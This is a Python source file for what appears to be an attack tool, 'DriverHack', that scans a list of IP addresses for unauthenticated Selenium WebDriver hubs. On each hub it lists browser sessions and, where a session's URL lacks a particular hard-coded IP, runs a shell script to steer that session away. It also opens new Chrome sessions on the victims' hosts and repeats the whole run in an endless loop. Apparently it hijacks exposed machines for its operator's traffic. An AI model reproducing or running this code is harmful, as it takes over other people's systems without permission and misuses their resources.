import json
import subprocess
import re
import time

from lib.RestfulAttack import RestfulAttack
from lib.PriorityQ import GPriorityQ


class Driver(GPriorityQ):
    def __init__(self, file):
        data = [{"ip": i.strip(), "value": 0, "fail": 0} for i in open(file, 'r').readlines()]
        assert len(data) > 0
        super().__init__(items=data)

    def getValue(self, index):
        return self.items[index]['value'] - self.items[index]['fail']

    def __next__(self):
        if self.size == 0:
            raise StopIteration
        row = self.deQ()
        return row

    def __iter__(self):
        return self


class DriverHack(RestfulAttack):
    def __init__(self, data, port, headers=None, concurrent=10):
        super().__init__(data, concurrent=concurrent, headers=headers)
        self.port = port

    def getIp(self, row):
        # return re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", row)[0]
        return row["ip"]

    def size(self):
        return self.data.size

    def do_work(self, row):
        try:
            ip = self.getIp(row)
            url = "http://" + ip + ":" + self.port + "/wd/hub/sessions"
            r = self.get(url, timeout=6)

            if isinstance(r, Exception):
                row["fail"] += 1
            elif r.status_code == 200:
                res = json.loads(r.text)
                its = res["value"]
                its_size = len(its)
                print("loop session num: ", its_size)

                if its_size > 0:
                    self.loop(row, self.port, its)

                if its_size < 4:
                    self.create(row, self.port)

        except Exception as e:
            print(e)
        finally:
            self.data.enQ(row)

    def loop(self, row, port, items):
        for i in items:
            _id = i["id"]
            if len(_id) != 0:
                self.cur(row, port, _id)

    def cur(self, row, port, _id):
        ip = self.getIp(row)
        url = "http://{}:{}/wd/hub/session/{}/url".format(ip, port, _id)
        r = self.get(url)
        if isinstance(r, Exception):
            pass
        elif r.status_code == 200:
            if "47.52.168.156" in r.text:
                print("living")
            else:
                self.nav(row, port, _id)

    def nav(self, row, port, _id):
        ip = self.getIp(row)
        row['value'] += 1
        print("** nav to**: ", _id)
        cmd = "sh ./lib/nav.sh {} {} {}".format(ip, port, _id)
        subprocess.Popen(cmd, shell=True)

    def create(self, row, port):
        print("!! create !!")
        ip = self.getIp(row)
        url = "http://{}:{}/wd/hub/session".format(ip, port)
        payload = {"desiredCapabilities": {"browserName": "chrome"}}

        r = self.post(url, payload=payload, timeout=10)

        if isinstance(r, Exception):
            row['fail'] += 1
            print("## create fail :", row)
            pass
        elif r.status_code == 200:
            _id = json.loads(r.text)["sessionId"]
            self.nav(ip, port, _id)

    def done(self):
        open("result", 'w').writelines(str(self.data.items).replace("}", "\n").replace("{", ""))


if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser()
    parser.add_argument('-f', dest='file', help='port')
    parser.add_argument('-p', dest='port', help='port')
    parser.add_argument('-t', dest='thr', help='thr')
    args = parser.parse_args()

    res = Driver(args.file)
    task = DriverHack(data=res,
                      port=args.port,
                      headers={'Content-Type': 'application/json'},
                      concurrent=int(args.thr))

    while 1:
        task.run()
        print("next loop")
        time.sleep(10)
